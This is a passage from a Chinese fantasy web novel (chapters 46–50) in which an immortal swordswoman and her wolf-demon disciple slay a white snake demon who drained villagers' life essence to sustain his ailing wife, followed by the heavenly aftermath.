那日夜里,小玉扛着锄头,如鬼魅般游荡在雁山镇的街上。
46. 第四十六章
小玉家中的地在后山附近。
她在雨夜中眺望远山有面前被雨水淹没的黄土地,她用锄头挖开一处后,将那头埋在不长作物的地中。
远远望去,就像是山坡上矗立的坟墓。
小玉顺着小路到了一处漆黑的洞穴。
一人从黑暗中走来,那人正是赵之铭。
他手中撑着伞,仍然如白日那般温柔,将伞递到了小玉头上,小玉抬头看着他道:“你不是会吸食人的精气?将我一并带去。”
赵之铭却笑:“小玉姑娘在说什么?鄙人听不懂。”
“吸□□气乃妖物所为之,而我,只是个普普通通的人,并不会这些。”
“你,明明就是!为何不承认?”
小玉出门之时还带了一小坛子酒,如今我正眼睁睁看着她从袖中掏出那小坛子,扯开坛上的封口,将里面的酒泼在了赵之铭身上。
顷刻间,赵之铭便化作白蛇梭形于地面,正睨着一双狭长的眼,吐着信子看着她。
那酒的味道瞬间扑了过来,泼在赵之铭的肌肤裸露处,也叫他蛇身受伤之处落了个皮开肉绽。
雄黄酒腐蚀着他的肌肤,腾腾白雾在雨夜中蹭蹭往上冒着,雄黄酒于蛇妖的杀伤力莫过于毒药。
“小玉姑娘,如此当真是有些过分了。”
化为蛇形的赵之铭还在说着。
“前几日我去看了阿姝,她的状况不好,可是因为这几日来了道士,故而你无法吸食旁人的精气来供养她了?你大可杀了我,用我的精气去为阿姝续命,我只求你……将我的尸骨埋葬在山坡上那黄土地中,我立了锄头,那处能叫我娘在家门前与我对望。”
“……”
我闭上眼睛,确切来说,是小玉失去了意识,我怀疑这时她就死了。
皮囊在周姝的房中,而骨血埋在那立了锄头之处。
再睁开之时,我已经回到了周姝的房中,我被段灼抱在怀中,我猜想大概是在梦中晕了过去。
我抬头看着段灼,他的气息打在我身上,我甚至能清晰地看到他脖颈处暴起的青筋,闻到他身上淡淡的,不知何处来的香气。
如此,我只在梦中见过。
他看我的神色微冷,却也不是冷,是一种谦卑与疏离。
在我要将他推开之时,段灼先一步松开手,道:“阿姐看到了什么?”
话题引过来,我松了口气。
我道:“梦中那白蛇正是周姝的枕边人,亦是杀害小玉及别的雁山镇中人的妖物,当杀之。”
看了这个梦,我大抵知晓了究竟是怎么回事。
白蛇在许多年前曾受过周姝的恩惠,当时周姝用怀抱为他取暖,后来为了报恩,化作赵之铭,成了周姝的丈夫。
因周姝体弱,故而才采取凡人的精气,尤其是年轻女子来为周姝续命,小玉不知如何知晓了这件事,便寻了赵之铭说自己不想活了,也想用精气为周姝续命,故而只剩下如今这张皮囊了。
小玉的皮囊出现在此处的缘由大概是,这几日赵之铭察觉到我们来了,便不好对其他女子下手,如此小玉这皮囊上还附着了些精气,可解燃眉之急。
可他不会不知,如何其实都没用的,周姝的身体早已被妖气侵蚀,无力回天。
我将我所看到的,所推测的都讲给周姝听了,她听后,原本就瘦骨嶙峋且苍白的脸愈发白了。
她颤抖着唇道:“之铭是人,不是妖……不可能的不可能的……”
我道:“周小姐与赵公子朝朝暮暮相处,可有见过他身上无端出现一些片状的,类似于烫伤的伤痕?”
周姝凝眸,似乎在回忆,可越是回忆,她的脸色便越苍白,“他……他与我说,是为我煎药之时,不小心受的伤。”
“是何处的伤?”
“腹部。”
“想来周小姐心中比谁都清楚,纵然是煎药,亦不可能烫到腹部,且他身上这样的伤想来也不止一处罢?”
“恐怕就连周小姐的父亲都是赵公子杀的。”
周父的死想来是不小心得知了赵之铭是蛇妖,且残害了如此多人,这才遭到了灭口。
如此,周姝身体一怔,捂着嘴,泣不成声。
周姝颤声道:“我……我父亲待他并不差,我不信,我想亲自去问他。”
“等我们将蛇妖抓住,自会给周小姐盘问的时间,那孽障伤人无数,无论如何都不能留了,还请周小姐切莫将这个提前告知于他,若是被他逃出生天,这些与周小姐朝夕相处的雁山镇之人可就白白死了。”
我只将那蛇妖残害生灵之事与周姝说了,却并未与她说,赵之铭做这些都是为了让她活着。
我看着她那张枯槁的脸,心道她这副模样应是将死之相,若是死了便罢,平白知晓这些,岂不是走都会走得痛苦?
我心中感叹,凡人的一生苦短,命若浮游,气若蚕丝,一斩便断。
周姝点头:“我不会与他说的。”
那皮囊还在地上轻缓蠕动着,待我将束缚住它的法术解开,一缕青烟骤然从带着腥臭的皮囊中缓缓上升,缓缓消散。
那是小玉的最后一缕魂魄。
我对段灼说道:“收入束妖袋中。”
“是,阿姐。”
段灼解下捉妖袋,将蜷缩在地上,比方才更焉了些的人皮装进去,我看着他这副认真地模样,心中却腹诽道,就算是唤我“阿姐”,但段灼这副模样却不像是将我当成阿姐,且不像是与我比较熟的样子。
走前,我又问周姝:“你可知,这屋子的房门是上了锁的?”
周姝道:“他说是怕我夜里自己偷偷跑出去,可我这个身体,就是出去半步都费劲。”
我道:“原来如此。”
*
出了庭院,我与段灼便先回了赵之铭给我们安排的住处。
我要找一个人,确切来说,并不是人,
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而是仙。
“封镜?今日究竟是怎么了,你竟还与我通灵?说起来,方才昆仑山的小仙娥也曾与我通灵,今日倒是好不热闹。”
我道:“雨伯,我有急事寻你。”
雨伯:“哦?还真是百年难得一遇啊,何事?难道小封镜亦有解决不了,要哭鼻子的事?”
我:“……”
谁知他这时候还有心思与我玩笑。
我道:“此事非同小可。”
雨伯这才将笑声收敛起来:“你且说,就算是天塌下来了,也有我顶着。”
我也懒得再与他理论,懒得去在意他说的这些话,只问道:“从前你可曾在凡间收过一名妖族弟子?”
雨伯狐疑道:“小封镜,你是如何晓得的?”
“从前我确实在凡间收过一名妖族弟子,那是一只白蛇,我见他颇有仙骨,便收他为徒,传授知识,带他修行。”
我闻言心中暗暗叹了口气,他完了,要摊上大事儿了。
我问:“然后你将他弃了?”
雨伯一愣,笑得有些尴尬,他道:“如何能算作是弃了呢?那白蛇天资聪颖,我教授于他的东西,不日便能学会,后来我觉得自己并无能教他的,亦体验不到作为师父的快乐后,我便回了天上,至于小封镜说的弃……我只是觉得,比起我教授他知识,如今他更需要的是历练。”
“不过说来,为何你跟兄长都觉得是我弃了他?”
我觉得雨伯弃了他,完全是因为上次偶然遇见之时,听风师如此说过。
我道:“上次听风师说的。”
“且……”
雨伯道:“且什么?”
我无语道:“不要唤我小封镜。”
雨伯笑道:“呀呀呀,真是跟你爹一个性格,不苟言笑的小姑娘不可爱哦。”
“不过为何突然问我这个?”
我道:“你可知昆仑山之下,赤水之北有一处名为雁山的小镇?”
雨伯的笑却敛了,他反倒问我:“小封镜,我问你,你过了赤水可再往北走?”
我道:“并未。”
可我心中却逐渐生出了疑虑,或许我当真该往北走,去看看。
为何他们都在叮嘱我不能往北走?
这赤水之北究竟还有些什么?
雨伯松了口气道:“我知晓雁山镇,此处曾是你爹娘的管辖之地,自他们……仙陨后,便是由我与兄长守护,听西王母说,这几日已交由你来管理,可是出了什么事?”
我面无表情道:“我并未出事,但是你有事了。”
雨伯笑:“小封镜方才还让我不与你玩笑,如今倒是与我玩笑起来了?我如何要有事了?”
我道:“你此前收的那条白蛇徒弟,如今在雁山镇残杀生灵无数,还不快将他领去仙界认错,如今他死路一条,而你还有改过自新的机会。”
“……”
滴,通灵音断了。
47. 第四十七章
到了前厅,正见到坐于主位上饮茶的赵之铭。
厅中茶香四溢,腾腾白雾缓缓飘向上壁。
赵之铭将手中的茶盅放下,看向我与段灼,似笑非笑道:“不知二位怎会出现在周府的后花园中?”
我上前两步,拾起滚落在地上的素色发簪,道:“原来在此处,倒是叫我好找一通。”
垂眸的一瞬,我看见赵之铭衣摆处散落的雨珠,鞋履边沾着泥土与杂草。
想来他的确是去了后山一趟。
我将手中的簪子扬了起来道:“原来那里是花园?我只是为了寻此物迷了路,还好赵公子派那姑娘来寻我们,我这才能失而复得。”
还好我留了个心眼,将这玩意“不小心”掉在这里了。
赵之铭又道:“不过是个簪子,道长定要寻回的?”
我道:“赵公子是见这是个寻常的簪子,若是赵公子有这么个簪子,纵然旁人说丢了亦不足为惜,可这簪子是周小姐赠的呢?”
赵之铭一怔,随后道:“道长说得是,是我的不是,不知此物为道长挚爱所赠之物。”
我:“……”
我转头看向身后的段灼,他却并无多余的神色,甚至有没有在听我与赵之铭说话也不大看得出来。
我心安理得道:“无事。”
我问道:“不知赵公子可在后山找到小玉姑娘了?”
赵之铭并未再提及方才之事,只顺着我的话,摇头道:“并未寻到,不过找到了此物。”
我接过他递过来的,湿润又沾了些泥泞的发带。
此物我曾见过,在小玉的回忆中,曾在铜镜中见过她束这发带。
赵之铭道:“此物为小玉姑娘之物,想来……她已经遭遇不测了。”
说罢,赵之铭叹了口气,紧蹙眉心,像是当真对小玉似乎已经死了的事情为之惋惜。
我将那束发带置于掌中,另一只手捏诀施法,隔空胡乱画了张符咒后,凝眸与赵之铭道:“我以此物来追踪小玉姑娘的气息,探查到她并未死,且还在这雁山镇中,今夜我们便画阵施法,找出妖物,救出小玉姑娘。”
赵之铭只点头道:“既然道长说这小玉姑娘并未死,那便好,我现在便派人去挨家挨户敲门说明白,雨夜万万不可出门。”
我道:“有劳了。”
赵之铭笑:“这才是有劳道长了,若是妖物之事能解决,道长便是雁山镇的大英雄。”
我道:“这是我们该做的。”
赵之铭却又看向我身后的段灼,我顺着他的目光亦看向段灼,段灼那双漆黑的眼亦落在赵之铭身上,他们二人像是在互相端详对方。
赵之铭道:“我听闻,捉妖师仙风道骨,多着一身干净的白裳,为何这位道长反倒是一身玄衣?”
我腹诽,你一个妖怪还穿一身白衣呢,怎么修仙者就不能穿一身玄衣了?
但是我并未这般说,我只道:“常言亦道千人千面,如何能以衣着色泽来论及身份或善恶?且赵公子方才也说过,白裳只是多数捉妖师着,而非全部。”
赵之铭微微一笑:“赵某见识浅薄。”
“二位道长吃点东西再去房中稍作休整罢。”
赵之铭手一挥,三两个侍女端了些珍馐佳肴上来,飘香四溢。
我对凡尘之物向来并无口腹之欲,如此飘香四溢也并不能叫我生出多少食欲,我甚至还怕这赵之铭在其中下毒暗害我。
“都是家常便饭,还望两位道长吃上些垫垫肚子,恕赵某不能在此陪二位,想来家妻已醒,也当吃些东西了。”
我道:“好。”
等赵之铭走后,我也并未动筷,段灼也不吃,我想着他既无妖力亦无法力,我不吃倒也罢,他不吃能行吗?
我道:“你可要吃些?”
段灼看着我,道:“阿姐不吃?”
我道:“我不饿。”
段灼似乎忘却了我已然辟谷这件事,或许以为我是否在矜持,下一刻,他的眼骤然睁大了些,这样的变化旁人是看不出来的,只有坐在他身边的我看出来了。
他似乎想起来了我已然辟谷的事。
于是,段灼不再问我别的,而是拾起桌上的竹箸,大快朵颐起来。
段灼生得好看,但吃饭的模样却并不赏心悦目,活像是饿了许多天,才得了这么一顿吃食。
我撑着下巴看着他,如今他的注意力全然不在我身上,而是在这盘中的每道菜上。
叫我想起了许多年前,我曾下山历练,不知是在何处,只记得是郊外,篱笆围成的小院中,右边放着干柴,左边拴着一条狗,从土墙屋子里出来一体魄健硕的庄稼人,将碗中的骨头倒入狗盆中,那狗欢快地甩着尾巴,埋头亦如段灼这时这般大快朵颐起来。
我问:“你不怕这饭菜有问题吗?”
段灼这才从其中抬头:“阿姐让我吃,便不会有问题。”
说罢,他便埋头继续吃着。
等吃完这餐,我与段灼回了赵之铭安排的住处。
段灼问我:“师尊方才探查气息的法术叫什么?”
在无人之时,段灼还是会唤我师尊。
我道:“哪有什么法术,我是瞎编的。”
“若是不装得傻一点,如何叫他掉以轻心,赵之铭此人看着温文尔雅,最精的便是他。”
段灼似懂非懂道:“我明白了,师尊。”
“师尊要如何布阵?”
我道:“我并未打算布阵。”
我是个剑修,从前也并未学过什么施法布阵,我会的只是一些干脆利落能将事情解决的打斗。
段灼估计心中也疑惑,他从未在碧水瑶台学过布阵,为何我这个做师
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尊的却会?
难道是我藏术了?
实则不然,我自己也不会,只是我装作要施法布阵的样子罢了。
段灼又问:“那师尊方才所言是骗他的?”
“既以捉妖师的身份来的,自然得说些符合身份的话。”
我从前便时常下山,模仿捉妖师已是轻车熟路。
段灼点头,想来是明白了。
我从袖中拿出一根金丝包裹的红线,通体泛着如鲜血的色泽,我将红线捋直,一端缠绕在我的指尖,另一头缠绕在段灼的指尖上。
顷刻间,这红线消失了。
我道:“此丝线名为牵丝,若是我不在,能够凭借这丝线找到我。”
段灼却还在垂眸盯着方才我绕上红线那处,他问道:“师尊要去何处?”
我抬头看着,天气漆黑如墨,在云层之中还偶得几丝闪电划过,只听“轰隆隆”几声便知晓,今夜应当有雨。
我道:“今夜有雨,我假装被控制从房中出来,你在我周围看着赵之铭的一举一动。”
其实我觉得自己也是胆子大了,段灼可是这世上最想杀了我的人,我竟也能相信他。
眼前的段灼沉默了,他心中在想什么我不知道。
但是神色,他似乎不太想让我以身入局。
段灼问我:“师尊,我去可以吗?”
我问:“你是妙龄女子吗?”
他有这个心是好的,但也要赵之铭收才行啊。
我又靠近了些,我问段灼:“你可想杀了我?”
段灼的眼中如漾起涟漪,他道:“我不想师尊死。”
我看着他那双漆黑又饱含着少年真诚的眼眸,心中顿觉,他此言不假,我道:“要一直记得今日所说的话。”
段灼虽不知为何我会这般说,却也点头道:“嗯。”
想来今夜之事亦不会太难,毕竟雨伯也快到了。
*
我躺在床榻上,夜色入户,我亦昏昏然睡去。
听着雨声,倒是有些睡意,我翻来覆去,双眸逐渐闭上,在完全合眼前,我的眼前出现了一张面容,似乎是段灼那张时时缄默又面无表情的脸。
“你……”
*
雁山镇的雨淅淅沥沥落下,伴着轰鸣的雷声,夜幕将至,长街寂寂,空气中蔓延着淡淡的香气,大雾弥漫,浊浊夜色中,似有人踩着雨水,正缓缓往前走。
“滴答……滴答……”
香气入骨,指尖的疼痛逐渐将我拉回来,我缓缓睁开眼,手中正撑着一把伞,走在雁山镇深夜的街道中,雨水顺着油纸伞面落在我的脚边。
指尖莹莹光亮,那千丝万缕的红丝线牵到远处的角落中,方才我骤然从梦中醒来,便是因为段灼在那头挣扎着红线,将我唤醒。
想来他正在不远处看着我。
48. 第四十八章
雨声淅淅沥沥,伞遮挡住我的视线,在雨雾蒙蒙中,我的面前出现了一个人。
那人轻声唤道:“道长。”
这样深幽又含着些许玉质的声音,与平日里赵之铭说话亦有差别。
我将伞微微往上抬,对上了他的双眸。
赵之铭那双瞳孔狭长得如裂缝的妖,在黑夜之中悄无声息转动着。
他微微弯起眼眸竟露出一个森冷的笑意:“我原以为道长是草包一个,谁知当真有些本事,竟能破我的迷雨阵。”
虽然我不是草包,但此阵不是我破的,只是我被痛醒了。
我笑着佯装不懂:“赵公子为何在这里?何为迷雨阵?”
赵之铭笑,他袖口一挥,那雾气中的雨丝如尖利的针一般刺向了我。
我一只手握住伞柄,骤然侧身一躲,衣裳在雨中绽开成花,这如针的雨定在离我不远的泥地中。
顷刻间,我手中幻化出青霜剑,剑光粼粼,缠绕着剑身。
赵之铭的笑却不大挂得住,他眉峰微微一凝道:“仙者?可是那人唤你来的?”
我冷声道:“我不知你在说些什么,我只知我是来杀妖的。”
我侧身而上,将手中的青霜剑送了出去,顷刻便要刺在赵之铭的胸前,他侧身一躲,剑锋划破他的袖口,将其中被雄黄酒灼伤的伤口露了出来。
赵之铭冷声道:“我小看你了。”
我看着他说道:“若你此时伏就,或许能从轻发落。”
先不管不用法术究竟能不能打过,
赵之铭闻声却笑:“若我说不呢?”
刹那间,风雨急骤,赵之铭逐渐幻化成一只浑身冰冷鳞片的巨型白蛇,在地面梭行着。
雨水遮挡着我的视线,等我能看清后,眼前的白蛇正张着血盆大口,要将我吞进去。
我将青霜剑挡在身前,欲要释放剑气。
这时候,段灼手持赤赦剑挡在我身前。
风雨将他周身淋湿,段灼回眸看着我,他的瞳孔中竟隐约散发着赤红色光亮,额间的朱砂色竟有些退却。
有那么一刻,我以为段灼入魔了,但是看见额间的赤色还在,我便意识到是自己想多了。
那白蛇的速度极快,梭形到我身前,骤然越到我身前,被段灼手中的赤赦剑刺入喉中,血肉与剑锋摩擦的声音落在我耳边,白蛇口中绵延不断溢出的鲜血亦流淌在我脚边。
直至感受到痛,他才停下来了似的,“斯哈斯哈——”的声音逐渐蔓延。
段灼隐匿了气息,故而赵之铭也并未发现周围还有他人,而我也仅仅只是靠着这根若有若无的红线能够感知到他在不远处。
我亦并未想到,段灼会突然从角落中出来挡在我身前。
白蛇疯狂抽动,赤赦剑从他口中穿透,划破他的肌肤,插入他狭长的瞳孔中,疼痛叫他疯狂拍打着周遭之物,段灼与赤赦剑一同被他甩了出去。
段灼重重摔在雨中,赤赦剑滑去很远。
白蛇骤然停止,微微摆动着鲜血淋漓的头,看着我。
那人声在我耳边喝道。
“我只是想救阿姝,我不懂我究竟何错之有!”
我道:“你错就错在牵连无关之人的性命在其中。”
“你以为自己能够救活她?妖力入体,她日渐消瘦,今后如何,你再清楚不过。”
“人皆有自己的命数,若是强行介入他人因果,于你于她,只会遭到反噬。”
那白蛇幽幽吐着信子,竖瞳闪着如刀面的绿光,道:“你根本就不懂,他们所有人都抛弃我,只有阿姝救下我,保护我,我要她活着!无论如何都要她活着!”
白蛇在蛇妖之中是异类,想来从前他在族群中亦受尽排挤,加之被师父抛弃,叫他觉得全世界都不待见他。
只有周姝一人待他好,救了他,所以他想要报恩,不顾一切想要周姝活下来。
我道:“你可知于凡人而言,至亲是世上最重要的人,你将她父亲杀了,纵然之后她还活着,你觉得还能与她像今日这般相处吗?”
那白蛇朝我竖起尖牙道:“你与她说了?”
我问:“纵然我不与她说,她会不知道?”
那白蛇暴怒而起:“早知晨间我便将你们二人咬死!”
骤然间,白蛇朝我扑来,我侧身躲开,冷眼睨着他道:“如此挣扎不如早入轮回。”
撑着伞并不方便我与他打斗,我将手中的伞丢了。
青霜剑划过我的掌心,剑锋上带着鲜血。
我的眼神迅速在他身上流转,我知晓七寸之处是蛇的心脏。
只是这白蛇梭形速度极快,若是我一人,难得靠身法将他制服,亦难得去找到他的七寸之处。
不过我却知,那处当是白蛇鳞片最为薄弱之处。
我与这白蛇翻来覆去打斗,他身上有几处清霜剑造成的伤痕,正溢出些鲜红的血,想来是疼痛叫他的动作更加发狂,更加用力。
白蛇一下又一下吐着舌信,浑身鳞甲在月光中淬着冷冽的光,他累极了,停歇片刻便猛地昂首,再次张开血盆大口,獠牙间喷发出馨香的毒雾。
我并未屏息,毒雾入体,骤然绞心般的疼痛自胸口处袭遍全身各处。
一口鲜血喷涌而出。
这雨中的香气是这白蛇口中喷出的毒雾,如此便能叫淋雨闻见香气之人浑身燥热难耐。
我浑身都软了,浑身宛若千千万万只蚂蚁在啃食着我的身体。
我手中的青霜剑插在地面,我支撑着青霜剑站起来。
角落中方才被这白蛇妖如丢垃圾似的,随意甩在一边段灼亦站了起来。
他的脸上都是血,夹杂着雨水,看起来并未比我好上多少。
不知他身上究竟还有多少伤,这黑衣将他浑身上下遮得严实,叫人看不出个所以然来。
天杀的。
为何雨伯还不到?
段灼唤我:“师尊。”
我问道:“你过来作何?给我添乱的?”
雨水叫我的眼前变得模糊,我看不清段灼的神色,只能看清楚他伸过来的手,他握住我的指尖,将我扶起来。
因那毒雾,我浑身力气尽散,纵然不想,却还是只能跌落在段灼的怀中。
我仰面,在段灼耳边说着:“七寸。”
我牵过他的手,隔空点到白蛇身上一处,方才几轮下来,我亦观察到白蛇妖周身波光粼粼,只有那处的光亮会淡上许多,想来那处的鳞片更少,且
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还会随着白蛇妖的摆动一上一下跳动。
蛇的七寸正如孩童的囟门。
我道:“杀了他。”
段灼在雨色中看着我,答了声。
“是,师尊。”
好在方才我已耗费这白蛇不少力量,如今就算是段灼一个人也能将白蛇杀了。
段灼手中提着赤赦剑,剑锋划过地面,一道道痕迹,我的眼前逐渐朦胧,意识渐渐远了。
朦胧中我看见段灼与白蛇缠打在一起。
我闭上眼,不知过了多久,又缓缓睁开,段灼手中的剑已经插入了方才我所说的“七寸”。
只是他的脸颊处似乎多了些伤痕,我的目光爬过他的脸颊缓缓往上,他额间的朱砂色好似消失了,甚至就连狼耳也冒出来了。
白蛇悠然的声音传到我耳中。
“你竟是只狼妖?”
“作为一只妖,你竟修仙还任由这些虚伪的仙将你的能力封印起来,当真窝囊!”
“你可想知晓作为妖的滋味,可想吃人心?可想吸食人的精气?那些可比凡人这些吃食滋味不知美上多少。”
段灼微微回眸,那双眼隔着雨色定格在我身上,他的眼神是我从未见过的,骇人神色。
我想,至少是看向我的那一刻,段灼当真想如这白蛇所言,将我吃了,吮吸我的骨血,吮吸我的精气。
白蛇与他一同看着我,声音中带着些蛊惑意味。
“就连她,你亦可以吃进腹中,如何?要不要随我一同去?”
我心中在想,我千不该万不该将我的后背交给段灼,我早该知晓他不可信才是。
我早该知晓,妖物终究是有妖性的。
下一刻,我听见了段灼手中的赤赦剑再划开皮肉的声音,似乎刺入白蛇的七寸更深了些。
段灼冷声道:“闭嘴。”
在昏厥前,我心中想着,段灼竟然拒绝了这白蛇如此诱人的条件。
难道往日里我还是待他太好了?
*
时间亘古,我亦漂泊在茫茫雾霭中。
眼前是漫天星河,我置身于一叶扁舟中,船随着水流不知要飘去何处。
我看着眼前的星河愈发靠近,要将我身下的船只淹没。
天边的繁星渐散,月色冷然如玉盘,我眼见着那月盘越来越大,将船只吞没。
我下意识地往后退却,手边却抚摸到了一无比冰冷之物,眼前的玉盘吞没了我与船只。
我骤然睁开眼,坐了起来,我坐起来的瞬间,感觉浑身上下没有一处得劲儿,尤其是后腰疼得好像要断了,我望向窗外,一片晴好。
我还在雁山镇中,而雁山镇中的雨停了,应该以后也不会下这样大的雨了。
屋门上贴着的扫晴娘纸人正在随着微风浮动着。
我的指尖微微一动,却当真触及了床上一冰冷之物。
“……”
我回头一看,双眼一闭,便想逃跑,奈何我浑身片缕不着,疼痛难忍,跑不动。
旁边的人亦是片-缕不着。
我的大脑似乎停止了思考,我记得我看到段灼用长剑刺入白蛇的七寸之处。
然后呢?
然后为何我会跟他睡在一起?
49. 第四十九章
我浑身上下除了有些痛以外,倒是觉得格外干爽,看来是段灼为我清理过身体。
不过我心中祈祷着最好不是他帮我清理的,也最好不是他将我弄成这样的,可作为神仙,还去祈祷,未免太没用了些。
我管不到那么多了,神色恍惚,眼前的一切,凌乱的床,熟睡的少年,在我眼中像是一场噩梦。
这对我的冲击实在是太大。
我的脑子还并未反应过来,身体就不顾各处疼痛之感起来了。
我颤抖着身体转头看向一旁的少年睡得正熟,他的手轻轻搭在我的腰上,苍白的脸颊,眼下挂着乌青色,像是比我更累。
活了百年之久,我发觉自己从来没有做过这样的错事。
我轻轻将他的手挪开,小心翼翼翻身下床,穿上了衣裳。
我不敢再去回望段灼,并且做了个非常狼狈的决定。
我跑路了。
我将桌上的云纹素簪簪于发间,看着铜镜中逐渐规矩得体的女子,我起身推开门出去了。
*
我有些浑噩地穿过长廊,遇见周府几个侍女向我行礼,他们唤我道长,见我脚步匆匆,不解道:“道长的身体好了?如今这般急匆匆是要上哪儿去?道长的弟弟,另一位道长呢?”
前两个问题我尚且能搪塞回答,那侍女问及段灼之时,想来我的脸色是苍白了些。
“我还有些急事要处理,他……还在休息。”
我记得那日我昏厥过去了,之后的事不得而知,不过看他们的神色,想来那白蛇已经死了或是被带到天上了。
“道长可还回来?我家小姐还盼着再见道长一面。”
我摇头道:“劳烦周小姐挂念,要事在身,就不多打扰了。”
那侍女神色遗憾道:“那道长慢去!”
我停住脚步,又问道:“你可知,我睡了多久?”
“大概……有七日。”
我两眼一黑,险些晕过去,难道这七日我都与段灼睡在一处的?
*
我是腾云回碧水瑶台的。
走前,我将一些法术传给段灼,他若是想回来,可用我的法术御剑回来。
只是如今,我不大想看见他那张脸。
我在云上,思索着这七日的内容。
那些不堪入目的画面逐渐回到我的脑中。
我与段灼在房中,换了不同姿势、动作,做了些师徒之间不该做的,缠绵悱恻的事。
其实我醒来之时就应该意识到了,不做这些,难道我与段灼只是脱-光了躺着?
我回忆起其中的缘由。
当是那白蛇喷出的毒雾太浓烈,及那日我与段灼都淋了些雨,才会如此。
至少我想,这其中的错自是不在我的。
*
我脑中混乱无比,方到碧水瑶台,云恒便打来通灵音。
云恒道:“小镜儿!你可是回天上了?”
我回答道:“嗯。”
云恒听出我声音中的疲惫之意:“回来了便好好修养几日,听闻这次你去除掉的妖是大妖,想来耗费了不少精力罢。”
我又轻轻“嗯”了一声。
我问:“你的病好了?”
云恒笑道:“前几日便好了,还是小镜儿关心我。”
“不过小镜儿这几日你还是先别忙着关心我,既然回来了便好好休养罢,我不打扰你了。”
我答:“好。”
通灵音挂断了。
只有我自己知晓,叫我觉得累的并非降妖除魔,而是我与段灼做的那些事。
叫我心中疲惫的是,我与他千丝万缕斩不断理还乱的联系。
我在来的路上已经无数次想要不要将段灼送回去。
或者说在心中无比懊悔,当初在昆仑山之时,我便应该劝他走了。
可如今再想这些,无济于事。
我将这几日经历的事情全都想了一遍。
我与段灼之间如今究竟是什么样的关系,而我对他又是什么样的心态。
我越想越是不明白,我脑中像是滚了一团杂乱的毛线球,无论我如何去整理,仍旧散作一团,无法将那一根根一丝丝线整理清楚。
我的指尖有缠绕收紧之痛,那根金丝红线逐渐显形,在半空中如鹌鹑似的不停颤抖着。
我知晓,是段灼在寻找我的位置。
我看着红线,眼前逐渐浮现段灼有些担忧到失落的神色,他若是知晓我独自回了天上,心中又会作何感想呢?
会伤心吗?
红线的颤抖骤然止息。
*
不多时,守门弟子道:“师尊,有人求见。”
“见。”
我以为来的至少是云恒,谁知竟然是这百年都从未进过我碧水瑶台的风师。
前几日在去昆仑山的路上遇见他之时,风师一身白衣,冷面,颇有高高在上的模样。
如今倒是憔悴了不少,想来是为他弟弟的事操心了。
我算是明白,为何那时白蛇会与我说那些,想来他曾见过风师给雨伯收拾残局。
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>风师与我直言:“前几日,女仙曾与胞弟通灵音,言有只白蛇妖如今杀虐无数,正为祸人间,那正是胞弟曾经的弟子。”
我问:“你来就是为了与我说这个?”
“我将胞弟关在殿中,狠狠抽了他几巴掌,终于将他打得认了错,而后我才下凡将那白蛇带回来,只是还未曾到天上,那白蛇便死了。”
我从未想过,他们兄弟竟然是如此相处方式。
“长兄如父,他有错,自当是我这个做哥哥的没教好。”
风师与我讲了那日的场景。
那日白蛇尚未毙命,留下残魂一缕,飘向周姝的房中,而他们追着残魂来到周府。
见周姝无碍,白蛇终于咽下了最后一口气。
风师追查过往记忆,知晓白蛇有愧于周姝,便施法将周姝体内的浊气清理,用修为为她修补身体。
周姝知晓白蛇用旁人乃至她父亲的精气来为她续命之后,痛哭流涕,眼中只剩下想将白蛇手刃的恨意。
她问风师,白蛇如今在何处。
风师只说:“白蛇已死,还请周小姐忘却前尘,过好今后,旁人之死的责任不在你,而是在他。”
话音落到此处。
风师叹道:“若是白蛇还活着,便并无这样的事。”
我明白了。
若是白蛇还活着,那雁山镇之事自有白蛇去伏罪,纵然雨伯有错,却也并非主罪。
我道:“这些话,风师当与西王母娘娘说去,我是奉了西王母娘娘之命去雁山镇除妖,推脱不掉,杀了白蛇亦是得了诛杀特令,其余琐事,便不归我管,我亦管不了。”
“于公于私,我都没有帮你的理由,且不说风师雨伯两位上神还与我已然仙殒父母有仇。”
雨师看着我,他的脸上逐渐显现出半分怜。
我曾见过相似的神色,正在我爹我娘仙殒之后,那些神仙看我便是如此。
像是一捧冷水泼到我身上,我浑身骤然冷了。
我第一次见到这样的神色,是在芜奚身上。
那时候,我从酆都中出来后,芜奚仙君将我抱在怀中之时,看我亦是这副我是丧家之犬的神色。
只是那时我年幼,看不懂这神色中的含义。
就连后来,那些时常送些东西到我碧水瑶台中的神仙也是这副神色。
让我看了觉得厌烦。
我不解,亦不喜欢旁人如此看我,我不需要任何人可怜我。
“我知晓一些你父亲和母亲的事,若你肯帮我,我便能说给你听。”
50. 第五十章节
闻言,我冷声道:“不必。”
“若是并无其他事,还请风师大人请自行离去。”
风师长叹一口气道:“我知你介怀,当年之事是身不由己,各有依附,我与他们才站在了对立面,在那之前,我与你他们的关系不错。”
“他们乃至仙界之人不想叫你知晓一些事,皆言是为你好,我远远看着你长大,不禁在想,不让你知晓可是对的。”
风师这么说,不过是为了想让我心软,为了让我给他弟弟求情。
可我不吃这套。
我不喜欢任人摆布的感觉,亦不喜欢欠别人什么。
我的声音更冷了些:“我不想知道。”
拒绝亦并非我不想知晓,而是我知晓受人恩惠,便要忠人之事的道理我亦懂。
风师叹了口气,并未再多说别的,便离去了。
*
又过了两日,云恒与我通灵音,说雨伯受到了处置。
他被收回一身法术,打入凡尘,转入轮回三生三世,方可再回到仙界为仙。
他教徒无方,且任由弟子作乱人间,实在是有失仙德。
纵然是这样的结果,也是风师四处奔走才有的。
不过此事倒是在我心头敲了一下警钟,我的弟子众多,但有出息的较少,且多数都是凡人,若是有一日我到了雨伯这样的地步,那当是因为段灼。
段灼是魔尊之子,且母亲又是狼族,就算如今妖力低微,以后如何却也还说不定。
不知以后,我是否也会落得个人人喊打的地步。
想起这些,我有些走神,亦有些忧心忡忡,我落到人人喊打的地步还好,我只恐会连累我爹与我娘的名声。
云恒还在说着,只是她察觉到我的心不在焉,便问:“小镜儿,你这几日可有好好休息,怎么有些心不在焉的,可是有什么心事?”
我与云恒说了风师与我所说之事。
云恒听完后道:“我从未听见此事,不过,小镜儿你如何能确定不是他胡乱编出来的?”
我:“他为何要编出这些能够被轻易戳穿的谎言?”
云恒又道:“伯父伯母仙陨之时,我与你一般年幼,不曾知晓这些,不过我可寻我爹帮你套套话。”
我知道云恒最有办法了,便道:“有劳你了。”
云恒的声音骤然拔了起来,语气不可思议:“如今你也学会与我道谢了!”
我笑:“做仙,总是要礼貌些。”
“平日不见你对我这样礼貌?”
我又道:“既如此就算做是你帮我,我在谄媚你,云恒女仙意下如何?”
云恒轻轻“哼”了一声,道:“这还算说得过去。”
我又问:“不过你还并未与我说明白,你因什么而病?”
云恒的情绪急转直下,笑声渐渐止息,似乎在斟酌如何与我说。
“其一为蟠桃的缘由,这个你知晓。”
